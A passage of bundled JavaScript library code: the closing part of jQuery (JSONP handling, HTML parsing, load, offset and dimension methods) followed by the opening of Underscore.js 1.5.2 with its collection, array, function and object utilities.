"url" :
typeof s.data === "string" && !( s.contentType || "" ).indexOf("application/x-www-form-urlencoded") && rjsonp.test( s.data ) && "data"
);
// Handle iff the expected data type is "jsonp" or we have a parameter to set
if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) {
// Get callback name, remembering preexisting value associated with it
callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?
s.jsonpCallback() :
s.jsonpCallback;
// Insert callback into url or form data
if ( jsonProp ) {
s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName );
} else if ( s.jsonp !== false ) {
s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
}
// Use data converter to retrieve json after script execution
s.converters["script json"] = function() {
if ( !responseContainer ) {
jQuery.error( callbackName + " was not called" );
}
return responseContainer[ 0 ];
};
// force json dataType
s.dataTypes[ 0 ] = "json";
// Install callback
overwritten = window[ callbackName ];
window[ callbackName ] = function() {
responseContainer = arguments;
};
// Clean-up function (fires after converters)
jqXHR.always(function() {
// Restore preexisting value
window[ callbackName ] = overwritten;
// Save back as free
if ( s[ callbackName ] ) {
// make sure that re-using the options doesn't screw things around
s.jsonpCallback = originalSettings.jsonpCallback;
// save the callback name for future use
oldCallbacks.push( callbackName );
}
// Call if it was a function and we have a response
if ( responseContainer && jQuery.isFunction( overwritten ) ) {
overwritten( responseContainer[ 0 ] );
}
responseContainer = overwritten = undefined;
});
// Delegate to script
return "script";
}
});
// data: string of html
// context (optional): If specified, the fragment will be created in this context, defaults to document
// keepScripts (optional): If true, will include scripts passed in the html string
jQuery.parseHTML = function( data, context, keepScripts ) {
if ( !data || typeof data !== "string" ) {
return null;
}
if ( typeof context === "boolean" ) {
keepScripts = context;
context = false;
}
context = context || document;
var parsed = rsingleTag.exec( data ),
scripts = !keepScripts && [];
// Single tag
if ( parsed ) {
return [ context.createElement( parsed[1] ) ];
}
parsed = jQuery.buildFragment( [ data ], context, scripts );
if ( scripts && scripts.length ) {
jQuery( scripts ).remove();
}
return jQuery.merge( [], parsed.childNodes );
};
// Keep a copy of the old load method
var _load = jQuery.fn.load;
/**
* Load a url into a page
*/
jQuery.fn.load = function( url, params, callback ) {
if ( typeof url !== "string" && _load ) {
return _load.apply( this, arguments );
}
var selector, type, response,
self = this,
off = url.indexOf(" ");
if ( off >= 0 ) {
selector = url.slice( off );
url = url.slice( 0, off );
}
// If it's a function
if ( jQuery.isFunction( params ) ) {
// We assume that it's the callback
callback = params;
params = undefined;
// Otherwise, build a param string
} else if ( params && typeof params === "object" ) {
type = "POST";
}
// If we have elements to modify, make the request
if ( self.length > 0 ) {
jQuery.ajax({
url: url,
// if "type" variable is undefined, then "GET" method will be used
type: type,
dataType: "html",
data: params
}).done(function( responseText ) {
// Save response for use in complete callback
response = arguments;
self.html( selector ?
// If a selector was specified, locate the right elements in a dummy div
// Exclude scripts to avoid IE 'Permission Denied' errors
jQuery("<div>").append( jQuery.parseHTML( responseText ) ).find( selector ) :
// Otherwise use the full result
responseText );
}).complete( callback && function( jqXHR, status ) {
self.each( callback, response || [ jqXHR.responseText, status, jqXHR ] );
});
}
return this;
};
jQuery.expr.filters.animated = function( elem ) {
return jQuery.grep(jQuery.timers, function( fn ) {
return elem === fn.elem;
}).length;
};
var docElem = window.document.documentElement;
/**
* Gets a window from an element
*/
function getWindow( elem ) {
return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;
}
jQuery.offset = {
setOffset: function( elem, options, i ) {
var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
position = jQuery.css( elem, "position" ),
curElem = jQuery( elem ),
props = {};
// Set position first, in-case top/left are set even on static elem
if ( position === "static" ) {
elem.style.position = "relative";
}
curOffset = curElem.offset();
curCSSTop = jQuery.css( elem, "top" );
curCSSLeft = jQuery.css( elem, "left" );
calculatePosition = ( position === "absolute" || position === "fixed" ) &&
( curCSSTop + curCSSLeft ).indexOf("auto") > -1;
// Need to be able to calculate position if either top or left is auto and position is either absolute or fixed
if ( calculatePosition ) {
curPosition = curElem.position();
curTop = curPosition.top;
curLeft = curPosition.left;
} else {
curTop = parseFloat( curCSSTop ) || 0;
curLeft = parseFloat( curCSSLeft ) || 0;
}
if ( jQuery.isFunction( options ) ) {
options = options.call( elem, i, curOffset );
}
if ( options.top != null ) {
props.top = ( options.top - curOffset.top ) + curTop;
}
if ( options.left != null ) {
props.left = ( options.left - curOffset.left ) + curLeft;
}
if ( "using" in options ) {
options.using.call( elem, props );
} else {
curElem.css( props );
}
}
};
jQuery.fn.extend({
offset: function( options ) {
if ( arguments.length ) {
return options === undefined ?
this :
this.each(function( i ) {
jQuery.offset.setOffset( this, options, i );
});
}
var docElem, win,
elem = this[ 0 ],
box = { top: 0, left: 0 },
doc = elem && elem.ownerDocument;
if ( !doc ) {
return;
}
docElem = doc.documentElement;
// Make sure it's not a disconnected DOM node
if ( !jQuery.contains( docElem, elem ) ) {
return box;
}
// If we don't have gBCR, just use 0,0 rather than error
// BlackBerry 5, iOS 3 (original iPhone)
if ( typeof elem.getBoundingClientRect !== strundefined ) {
box = elem.getBoundingClientRect();
}
win = getWindow( doc );
return {
top: box.top + win.pageYOffset - docElem.clientTop,
left: box.left + win.pageXOffset - docElem.clientLeft
};
},
position: function() {
if ( !this[ 0 ] ) {
return;
}
var offsetParent, offset,
elem = this[ 0 ],
parentOffset = { top: 0, left: 0 };
// Fixed elements are offset from window (parentOffset = {top:0, left: 0}, because it is its only offset parent
if ( jQuery.css( elem, "position" ) === "fixed" ) {
// We assume that getBoundingClientRect is available when computed position is fixed
offset = elem.getBoundingClientRect();
} else {
// Get *real* offsetParent
offsetParent = this.offsetParent();
// Get correct offsets
offset = this.offset();
if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) {
parentOffset = offsetParent.offset();
}
// Add offsetParent borders
parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true );
parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true );
}
// Subtract parent offsets and element margins
return {
top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true )
};
},
offsetParent: function() {
return this.map(function() {
var offsetParent = this.offsetParent || docElem;
while ( offsetParent && ( !jQuery.nodeName( offsetParent, "html" ) && jQuery.css( offsetParent, "position" ) === "static" ) ) {
offsetParent = offsetParent.offsetParent;
}
return offsetParent || docElem;
});
}
});
// Create scrollLeft and scrollTop methods
jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) {
var top = "pageYOffset" === prop;
jQuery.fn[ method ] = function( val ) {
return access( this, function( elem, method, val ) {
var win = getWindow( elem );
if ( val === undefined ) {
return win ? win[ prop ] : elem[ method ];
}
if ( win ) {
win.scrollTo(
!top ? val : window.pageXOffset,
top ? val : window.pageYOffset
);
} else {
elem[ method ] = val;
}
}, method, val, arguments.length, null );
};
});
// Add the top/left cssHooks using jQuery.fn.position
// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
// getComputedStyle returns percent when specified for top/left/bottom/right
// rather than make the css module depend on the offset module, we just check for it here
jQuery.each( [ "top", "left" ], function( i, prop ) {
jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,
function( elem, computed ) {
if ( computed ) {
computed = curCSS( elem, prop );
// if curCSS returns percentage, fallback to offset
return rnumnonpx.test( computed ) ?
jQuery( elem ).position()[ prop ] + "px" :
computed;
}
}
);
});
// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) {
// margin is only for outerHeight, outerWidth
jQuery.fn[ funcName ] = function( margin, value ) {
var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
return access( this, function( elem, type, value ) {
var doc;
if ( jQuery.isWindow( elem ) ) {
// As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there
// isn't a whole lot we can do. See pull request at this URL for discussion:
// https://github.com/jquery/jquery/pull/764
return elem.document.documentElement[ "client" + name ];
}
// Get document width or height
if ( elem.nodeType === 9 ) {
doc = elem.documentElement;
// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],
// whichever is greatest
return Math.max(
elem.body[ "scroll" + name ], doc[ "scroll" + name ],
elem.body[ "offset" + name ], doc[ "offset" + name ],
doc[ "client" + name ]
);
}
return value === undefined ?
// Get width or height on the element, requesting but not forcing parseFloat
jQuery.css( elem, type, extra ) :
// Set width or height on the element
jQuery.style( elem, type, value, extra );
}, type, chainable ? margin : undefined, chainable, null );
};
});
});
// The number of elements contained in the matched element set
jQuery.fn.size = function() {
return this.length;
};
jQuery.fn.andSelf = jQuery.fn.addBack;
// Register as a named AMD module, since jQuery can be concatenated with other
// files that may use define, but not via a proper concatenation script that
// understands anonymous AMD modules. A named AMD is safest and most robust
// way to register. Lowercase jquery is used because AMD module names are
// derived from file names, and jQuery is normally delivered in a lowercase
// file name. Do this after creating the global so that if an AMD module wants
// to call noConflict to hide this version of jQuery, it will work.
if ( typeof define === "function" && define.amd ) {
define( "jquery", [], function() {
return jQuery;
});
}
var
// Map over jQuery in case of overwrite
_jQuery = window.jQuery,
// Map over the $ in case of overwrite
_$ = window.$;
jQuery.noConflict = function( deep ) {
if ( window.$ === jQuery ) {
window.$ = _$;
}
if ( deep && window.jQuery === jQuery ) {
window.jQuery = _jQuery;
}
return jQuery;
};
// Expose jQuery and $ identifiers, even in
// AMD (#7102#comment:10, https://github.com/jquery/jquery/pull/557)
// and CommonJS for browser emulators (#13566)
if ( typeof noGlobal === strundefined ) {
window.jQuery = window.$ = jQuery;
}
return jQuery;
}));
;
// Underscore.js 1.5.2
// http://underscorejs.org
// (c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
// Underscore may be freely distributed under the MIT license.
(function() {
// Baseline setup
// --------------
// Establish the root object, `window` in the browser, or `exports` on the server.
var root = this;
// Save the previous value of the `_` variable.
var previousUnderscore = root._;
// Establish the object that gets returned to break out of a loop iteration.
var breaker = {};
// Save bytes in the minified (but not gzipped) version:
var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
// Create quick reference variables for speed access to core prototypes.
var
push = ArrayProto.push,
slice = ArrayProto.slice,
concat = ArrayProto.concat,
toString = ObjProto.toString,
hasOwnProperty = ObjProto.hasOwnProperty;
// All **ECMAScript 5** native function implementations that we hope to use
// are declared here.
var
nativeForEach = ArrayProto.forEach,
nativeMap = ArrayProto.map,
nativeReduce = ArrayProto.reduce,
nativeReduceRight = ArrayProto.reduceRight,
nativeFilter = ArrayProto.filter,
nativeEvery = ArrayProto.every,
nativeSome = ArrayProto.some,
nativeIndexOf = ArrayProto.indexOf,
nativeLastIndexOf = ArrayProto.lastIndexOf,
nativeIsArray = Array.isArray,
nativeKeys = Object.keys,
nativeBind = FuncProto.bind;
// Create a safe reference to the Underscore object for use below.
var _ = function(obj) {
if (obj instanceof _) return obj;
if (!(this instanceof _)) return new _(obj);
this._wrapped = obj;
};
// Export the Underscore object for **Node.js**, with
// backwards-compatibility for the old `require()` API. If we're in
// the browser, add `_` as a global object via a string identifier,
// for Closure Compiler "advanced" mode.
if (typeof exports !== 'undefined') {
if (typeof module !== 'undefined' && module.exports) {
exports = module.exports = _;
}
exports._ = _;
} else {
root._ = _;
}
// Current version.
_.VERSION = '1.5.2';
// Collection Functions
// --------------------
// The cornerstone, an `each` implementation, aka `forEach`.
// Handles objects with the built-in `forEach`, arrays, and raw objects.
// Delegates to **ECMAScript 5**'s native `forEach` if available.
var each = _.each = _.forEach = function(obj, iterator, context) {
if (obj == null) return;
if (nativeForEach && obj.forEach === nativeForEach) {
obj.forEach(iterator, context);
} else if (obj.length === +obj.length) {
for (var i = 0, length = obj.length; i < length; i++) {
if (iterator.call(context, obj[i], i, obj) === breaker) return;
}
} else {
var keys = _.keys(obj);
for (var i = 0, length = keys.length; i < length; i++) {
if (iterator.call(context, obj[keys[i]], keys[i], obj) === breaker) return;
}
}
};
// Return the results of applying the iterator to each element.
// Delegates to **ECMAScript 5**'s native `map` if available.
_.map = _.collect = function(obj, iterator, context) {
var results = [];
if (obj == null) return results;
if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
each(obj, function(value, index, list) {
results.push(iterator.call(context, value, index, list));
});
return results;
};
var reduceError = 'Reduce of empty array with no initial value';
// **Reduce** builds up a single result from a list of values, aka `inject`,
// or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
_.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
var initial = arguments.length > 2;
if (obj == null) obj = [];
if (nativeReduce && obj.reduce === nativeReduce) {
if (context) iterator = _.bind(iterator, context);
return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
}
each(obj, function(value, index, list) {
if (!initial) {
memo = value;
initial = true;
} else {
memo = iterator.call(context, memo, value, index, list);
}
});
if (!initial) throw new TypeError(reduceError);
return memo;
};
// The right-associative version of reduce, also known as `foldr`.
// Delegates to **ECMAScript 5**'s native `reduceRight` if available.
_.reduceRight = _.foldr = function(obj, iterator, memo, context) {
var initial = arguments.length > 2;
if (obj == null) obj = [];
if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
if (context) iterator = _.bind(iterator, context);
return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
}
var length = obj.length;
if (length !== +length) {
var keys = _.keys(obj);
length = keys.length;
}
each(obj, function(value, index, list) {
index = keys ? keys[--length] : --length;
if (!initial) {
memo = obj[index];
initial = true;
} else {
memo = iterator.call(context, memo, obj[index], index, list);
}
});
if (!initial) throw new TypeError(reduceError);
return memo;
};
// Return the first value which passes a truth test. Aliased as `detect`.
_.find = _.detect = function(obj, iterator, context) {
var result;
any(obj, function(value, index, list) {
if (iterator.call(context, value, index, list)) {
result = value;
return true;
}
});
return result;
};
// Return all the elements that pass a truth test.
// Delegates to **ECMAScript 5**'s native `filter` if available.
// Aliased as `select`.
_.filter = _.select = function(obj, iterator, context) {
var results = [];
if (obj == null) return results;
if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);
each(obj, function(value, index, list) {
if (iterator.call(context, value, index, list)) results.push(value);
});
return results;
};
// Return all the elements for which a truth test fails.
_.reject = function(obj, iterator, context) {
return _.filter(obj, function(value, index, list) {
return !iterator.call(context, value, index, list);
}, context);
};
// Determine whether all of the elements match a truth test.
// Delegates to **ECMAScript 5**'s native `every` if available.
// Aliased as `all`.
_.every = _.all = function(obj, iterator, context) {
iterator || (iterator = _.identity);
var result = true;
if (obj == null) return result;
if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);
each(obj, function(value, index, list) {
if (!(result = result && iterator.call(context, value, index, list))) return breaker;
});
return !!result;
};
// Determine if at least one element in the object matches a truth test.
// Delegates to **ECMAScript 5**'s native `some` if available.
// Aliased as `any`.
var any = _.some = _.any = function(obj, iterator, context) {
iterator || (iterator = _.identity);
var result = false;
if (obj == null) return result;
if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);
each(obj, function(value, index, list) {
if (result || (result = iterator.call(context, value, index, list))) return breaker;
});
return !!result;
};
// Determine if the array or object contains a given value (using `===`).
// Aliased as `include`.
_.contains = _.include = function(obj, target) {
if (obj == null) return false;
if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
return any(obj, function(value) {
return value === target;
});
};
// Invoke a method (with arguments) on every item in a collection.
_.invoke = function(obj, method) {
var args = slice.call(arguments, 2);
var isFunc = _.isFunction(method);
return _.map(obj, function(value) {
return (isFunc ? method : value[method]).apply(value, args);
});
};
// Convenience version of a common use case of `map`: fetching a property.
_.pluck = function(obj, key) {
return _.map(obj, function(value){ return value[key]; });
};
// Convenience version of a common use case of `filter`: selecting only objects
// containing specific `key:value` pairs.
_.where = function(obj, attrs, first) {
if (_.isEmpty(attrs)) return first ? void 0 : [];
return _[first ? 'find' : 'filter'](obj, function(value) {
for (var key in attrs) {
if (attrs[key] !== value[key]) return false;
}
return true;
});
};
// Convenience version of a common use case of `find`: getting the first object
// containing specific `key:value` pairs.
_.findWhere = function(obj, attrs) {
return _.where(obj, attrs, true);
};
// Return the maximum element or (element-based computation).
// Can't optimize arrays of integers longer than 65,535 elements.
// See [WebKit Bug 80797](https://bugs.webkit.org/show_bug.cgi?id=80797)
_.max = function(obj, iterator, context) {
if (!iterator && _.isArray(obj) && obj[0] === +obj[0] && obj.length < 65535) {
return Math.max.apply(Math, obj);
}
if (!iterator && _.isEmpty(obj)) return -Infinity;
var result = {computed : -Infinity, value: -Infinity};
each(obj, function(value, index, list) {
var computed = iterator ? iterator.call(context, value, index, list) : value;
computed > result.computed && (result = {value : value, computed : computed});
});
return result.value;
};
// Return the minimum element (or element-based computation).
_.min = function(obj, iterator, context) {
if (!iterator && _.isArray(obj) && obj[0] === +obj[0] && obj.length < 65535) {
return Math.min.apply(Math, obj);
}
if (!iterator && _.isEmpty(obj)) return Infinity;
var result = {computed : Infinity, value: Infinity};
each(obj, function(value, index, list) {
var computed = iterator ? iterator.call(context, value, index, list) : value;
computed < result.computed && (result = {value : value, computed : computed});
});
return result.value;
};
// Shuffle an array, using the modern version of the
// [Fisher-Yates shuffle](http://en.wikipedia.org/wiki/Fisher–Yates_shuffle).
_.shuffle = function(obj) {
var rand;
var index = 0;
var shuffled = [];
each(obj, function(value) {
rand = _.random(index++);
shuffled[index - 1] = shuffled[rand];
shuffled[rand] = value;
});
return shuffled;
};
// Sample **n** random values from an array.
// If **n** is not specified, returns a single random element from the array.
// The internal `guard` argument allows it to work with `map`.
_.sample = function(obj, n, guard) {
if (arguments.length < 2 || guard) {
return obj[_.random(obj.length - 1)];
}
return _.shuffle(obj).slice(0, Math.max(0, n));
};
// An internal function to generate lookup iterators.
var lookupIterator = function(value) {
return _.isFunction(value) ? value : function(obj){ return obj[value]; };
};
// Sort the object's values by a criterion produced by an iterator.
_.sortBy = function(obj, value, context) {
var iterator = lookupIterator(value);
return _.pluck(_.map(obj, function(value, index, list) {
return {
value: value,
index: index,
criteria: iterator.call(context, value, index, list)
};
}).sort(function(left, right) {
var a = left.criteria;
var b = right.criteria;
if (a !== b) {
if (a > b || a === void 0) return 1;
if (a < b || b === void 0) return -1;
}
return left.index - right.index;
}), 'value');
};
// An internal function used for aggregate "group by" operations.
var group = function(behavior) {
return function(obj, value, context) {
var result = {};
var iterator = value == null ? _.identity : lookupIterator(value);
each(obj, function(value, index) {
var key = iterator.call(context, value, index, obj);
behavior(result, key, value);
});
return result;
};
};
// Groups the object's values by a criterion. Pass either a string attribute
// to group by, or a function that returns the criterion.
_.groupBy = group(function(result, key, value) {
(_.has(result, key) ? result[key] : (result[key] = [])).push(value);
});
// Indexes the object's values by a criterion, similar to `groupBy`, but for
// when you know that your index values will be unique.
_.indexBy = group(function(result, key, value) {
result[key] = value;
});
// Counts instances of an object that group by a certain criterion. Pass
// either a string attribute to count by, or a function that returns the
// criterion.
_.countBy = group(function(result, key) {
_.has(result, key) ? result[key]++ : result[key] = 1;
});
// Use a comparator function to figure out the smallest index at which
// an object should be inserted so as to maintain order. Uses binary search.
_.sortedIndex = function(array, obj, iterator, context) {
iterator = iterator == null ? _.identity : lookupIterator(iterator);
var value = iterator.call(context, obj);
var low = 0, high = array.length;
while (low < high) {
var mid = (low + high) >>> 1;
iterator.call(context, array[mid]) < value ? low = mid + 1 : high = mid;
}
return low;
};
// Safely create a real, live array from anything iterable.
_.toArray = function(obj) {
if (!obj) return [];
if (_.isArray(obj)) return slice.call(obj);
if (obj.length === +obj.length) return _.map(obj, _.identity);
return _.values(obj);
};
// Return the number of elements in an object.
_.size = function(obj) {
if (obj == null) return 0;
return (obj.length === +obj.length) ? obj.length : _.keys(obj).length;
};
// Array Functions
// ---------------
// Get the first element of an array. Passing **n** will return the first N
// values in the array. Aliased as `head` and `take`. The **guard** check
// allows it to work with `_.map`.
_.first = _.head = _.take = function(array, n, guard) {
if (array == null) return void 0;
return (n == null) || guard ? array[0] : slice.call(array, 0, n);
};
// Returns everything but the last entry of the array. Especially useful on
// the arguments object. Passing **n** will return all the values in
// the array, excluding the last N. The **guard** check allows it to work with
// `_.map`.
_.initial = function(array, n, guard) {
return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
};
// Get the last element of an array. Passing **n** will return the last N
// values in the array. The **guard** check allows it to work with `_.map`.
_.last = function(array, n, guard) {
if (array == null) return void 0;
if ((n == null) || guard) {
return array[array.length - 1];
} else {
return slice.call(array, Math.max(array.length - n, 0));
}
};
// Returns everything but the first entry of the array. Aliased as `tail` and `drop`.
// Especially useful on the arguments object. Passing an **n** will return
// the rest N values in the array. The **guard**
// check allows it to work with `_.map`.
_.rest = _.tail = _.drop = function(array, n, guard) {
return slice.call(array, (n == null) || guard ? 1 : n);
};
// Trim out all falsy values from an array.
_.compact = function(array) {
return _.filter(array, _.identity);
};
// Internal implementation of a recursive `flatten` function.
var flatten = function(input, shallow, output) {
if (shallow && _.every(input, _.isArray)) {
return concat.apply(output, input);
}
each(input, function(value) {
if (_.isArray(value) || _.isArguments(value)) {
shallow ? push.apply(output, value) : flatten(value, shallow, output);
} else {
output.push(value);
}
});
return output;
};
// Flatten out an array, either recursively (by default), or just one level.
_.flatten = function(array, shallow) {
return flatten(array, shallow, []);
};
// Return a version of the array that does not contain the specified value(s).
_.without = function(array) {
return _.difference(array, slice.call(arguments, 1));
};
// Produce a duplicate-free version of the array. If the array has already
// been sorted, you have the option of using a faster algorithm.
// Aliased as `unique`.
_.uniq = _.unique = function(array, isSorted, iterator, context) {
if (_.isFunction(isSorted)) {
context = iterator;
iterator = isSorted;
isSorted = false;
}
var initial = iterator ? _.map(array, iterator, context) : array;
var results = [];
var seen = [];
each(initial, function(value, index) {
if (isSorted ? (!index || seen[seen.length - 1] !== value) : !_.contains(seen, value)) {
seen.push(value);
results.push(array[index]);
}
});
return results;
};
// Produce an array that contains the union: each distinct element from all of
// the passed-in arrays.
_.union = function() {
return _.uniq(_.flatten(arguments, true));
};
// Produce an array that contains every item shared between all the
// passed-in arrays.
_.intersection = function(array) {
var rest = slice.call(arguments, 1);
return _.filter(_.uniq(array), function(item) {
return _.every(rest, function(other) {
return _.indexOf(other, item) >= 0;
});
});
};
// Take the difference between one array and a number of other arrays.
// Only the elements present in just the first array will remain.
_.difference = function(array) {
var rest = concat.apply(ArrayProto, slice.call(arguments, 1));
return _.filter(array, function(value){ return !_.contains(rest, value); });
};
// Zip together multiple lists into a single array -- elements that share
// an index go together.
_.zip = function() {
var length = _.max(_.pluck(arguments, "length").concat(0));
var results = new Array(length);
for (var i = 0; i < length; i++) {
results[i] = _.pluck(arguments, '' + i);
}
return results;
};
// Converts lists into objects. Pass either a single array of `[key, value]`
// pairs, or two parallel arrays of the same length -- one of keys, and one of
// the corresponding values.
_.object = function(list, values) {
if (list == null) return {};
var result = {};
for (var i = 0, length = list.length; i < length; i++) {
if (values) {
result[list[i]] = values[i];
} else {
result[list[i][0]] = list[i][1];
}
}
return result;
};
// If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
// we need this function. Return the position of the first occurrence of an
// item in an array, or -1 if the item is not included in the array.
// Delegates to **ECMAScript 5**'s native `indexOf` if available.
// If the array is large and already in sort order, pass `true`
// for **isSorted** to use binary search.
_.indexOf = function(array, item, isSorted) {
if (array == null) return -1;
var i = 0, length = array.length;
if (isSorted) {
if (typeof isSorted == 'number') {
i = (isSorted < 0 ? Math.max(0, length + isSorted) : isSorted);
} else {
i = _.sortedIndex(array, item);
return array[i] === item ? i : -1;
}
}
if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item, isSorted);
for (; i < length; i++) if (array[i] === item) return i;
return -1;
};
// Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
_.lastIndexOf = function(array, item, from) {
if (array == null) return -1;
var hasIndex = from != null;
if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) {
return hasIndex ? array.lastIndexOf(item, from) : array.lastIndexOf(item);
}
var i = (hasIndex ? from : array.length);
while (i--) if (array[i] === item) return i;
return -1;
};
// Generate an integer Array containing an arithmetic progression. A port of
// the native Python `range()` function. See
// [the Python documentation](http://docs.python.org/library/functions.html#range).
_.range = function(start, stop, step) {
if (arguments.length <= 1) {
stop = start || 0;
start = 0;
}
step = arguments[2] || 1;
var length = Math.max(Math.ceil((stop - start) / step), 0);
var idx = 0;
var range = new Array(length);
while(idx < length) {
range[idx++] = start;
start += step;
}
return range;
};
// Function (ahem) Functions
// ------------------
// Reusable constructor function for prototype setting.
var ctor = function(){};
// Create a function bound to a given object (assigning `this`, and arguments,
// optionally). Delegates to **ECMAScript 5**'s native `Function.bind` if
// available.
_.bind = function(func, context) {
var args, bound;
if (nativeBind && func.bind === nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
if (!_.isFunction(func)) throw new TypeError;
args = slice.call(arguments, 2);
return bound = function() {
if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
ctor.prototype = func.prototype;
var self = new ctor;
ctor.prototype = null;
var result = func.apply(self, args.concat(slice.call(arguments)));
if (Object(result) === result) return result;
return self;
};
};
// Partially apply a function by creating a version that has had some of its
// arguments pre-filled, without changing its dynamic `this` context.
_.partial = function(func) {
var args = slice.call(arguments, 1);
return function() {
return func.apply(this, args.concat(slice.call(arguments)));
};
};
// Bind all of an object's methods to that object. Useful for ensuring that
// all callbacks defined on an object belong to it.
_.bindAll = function(obj) {
var funcs = slice.call(arguments, 1);
if (funcs.length === 0) throw new Error("bindAll must be passed function names");
each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
return obj;
};
// Memoize an expensive function by storing its results.
_.memoize = function(func, hasher) {
var memo = {};
hasher || (hasher = _.identity);
return function() {
var key = hasher.apply(this, arguments);
return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
};
};
// Delays a function for the given number of milliseconds, and then calls
// it with the arguments supplied.
_.delay = function(func, wait) {
var args = slice.call(arguments, 2);
return setTimeout(function(){ return func.apply(null, args); }, wait);
};
// Defers a function, scheduling it to run after the current call stack has
// cleared.
_.defer = function(func) {
return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
};
// Returns a function, that, when invoked, will only be triggered at most once
// during a given window of time. Normally, the throttled function will run
// as much as it can, without ever going more than once per `wait` duration;
// but if you'd like to disable the execution on the leading edge, pass
// `{leading: false}`. To disable execution on the trailing edge, ditto.
_.throttle = function(func, wait, options) {
var context, args, result;
var timeout = null;
var previous = 0;
options || (options = {});
var later = function() {
previous = options.leading === false ? 0 : new Date;
timeout = null;
result = func.apply(context, args);
};
return function() {
var now = new Date;
if (!previous && options.leading === false) previous = now;
var remaining = wait - (now - previous);
context = this;
args = arguments;
if (remaining <= 0) {
clearTimeout(timeout);
timeout = null;
previous = now;
result = func.apply(context, args);
} else if (!timeout && options.trailing !== false) {
timeout = setTimeout(later, remaining);
}
return result;
};
};
// Returns a function, that, as long as it continues to be invoked, will not
// be triggered. The function will be called after it stops being called for
// N milliseconds. If `immediate` is passed, trigger the function on the
// leading edge, instead of the trailing.
_.debounce = function(func, wait, immediate) {
var timeout, args, context, timestamp, result;
return function() {
context = this;
args = arguments;
timestamp = new Date();
var later = function() {
var last = (new Date()) - timestamp;
if (last < wait) {
timeout = setTimeout(later, wait - last);
} else {
timeout = null;
if (!immediate) result = func.apply(context, args);
}
};
var callNow = immediate && !timeout;
if (!timeout) {
timeout = setTimeout(later, wait);
}
if (callNow) result = func.apply(context, args);
return result;
};
};
// Returns a function that will be executed at most one time, no matter how
// often you call it. Useful for lazy initialization.
_.once = function(func) {
var ran = false, memo;
return function() {
if (ran) return memo;
ran = true;
memo = func.apply(this, arguments);
func = null;
return memo;
};
};
// Returns the first function passed as an argument to the second,
// allowing you to adjust arguments, run code before and after, and
// conditionally execute the original function.
_.wrap = function(func, wrapper) {
return function() {
var args = [func];
push.apply(args, arguments);
return wrapper.apply(this, args);
};
};
// Returns a function that is the composition of a list of functions, each
// consuming the return value of the function that follows.
_.compose = function() {
var funcs = arguments;
return function() {
var args = arguments;
for (var i = funcs.length - 1; i >= 0; i--) {
args = [funcs[i].apply(this, args)];
}
return args[0];
};
};
// Returns a function that will only be executed after being called N times.
_.after = function(times, func) {
return function() {
if (--times < 1) {
return func.apply(this, arguments);
}
};
};
// Object Functions
// ----------------
// Retrieve the names of an object's properties.
// Delegates to **ECMAScript 5**'s native `Object.keys`
_.keys = nativeKeys || function(obj) {
if (obj !== Object(obj)) throw new TypeError('Invalid object');
var keys = [];
for (var key in obj) if (_.has(obj, key)) keys.push(key);
return keys;
};
// Retrieve the values of an object's properties.
_.values = function(obj) {
var keys = _.keys(obj);
var length = keys.length;
var values = new Array(length);
for (var i = 0; i < length; i++) {
values[i] = obj[keys[i]];
}
return values;
};
// Convert an object into a list of `[key, value]` pairs.
_.pairs = function(obj) {
var keys = _.keys(obj);
var length = keys.length;
var pairs = new Array(length);
for (var i = 0; i < length; i++) {
pairs[i] = [keys[i], obj[keys[i]]];
}
return pairs;
};
// Invert the keys and values of an object. The values must be serializable.
_.invert = function(obj) {
var result = {};
var keys = _.keys(obj);
for (var i = 0, length = keys.length; i < length; i++) {
result[obj[keys[i]]] = keys[i];
}
return result;
};
// Return a sorted list of the function names available on the object.
// Aliased as `methods`
_.functions = _.methods = function(obj) {
var names = [];
for (var key in obj) {
if (_.isFunction(obj[key])) names.push(key);
}
return names.sort();
};
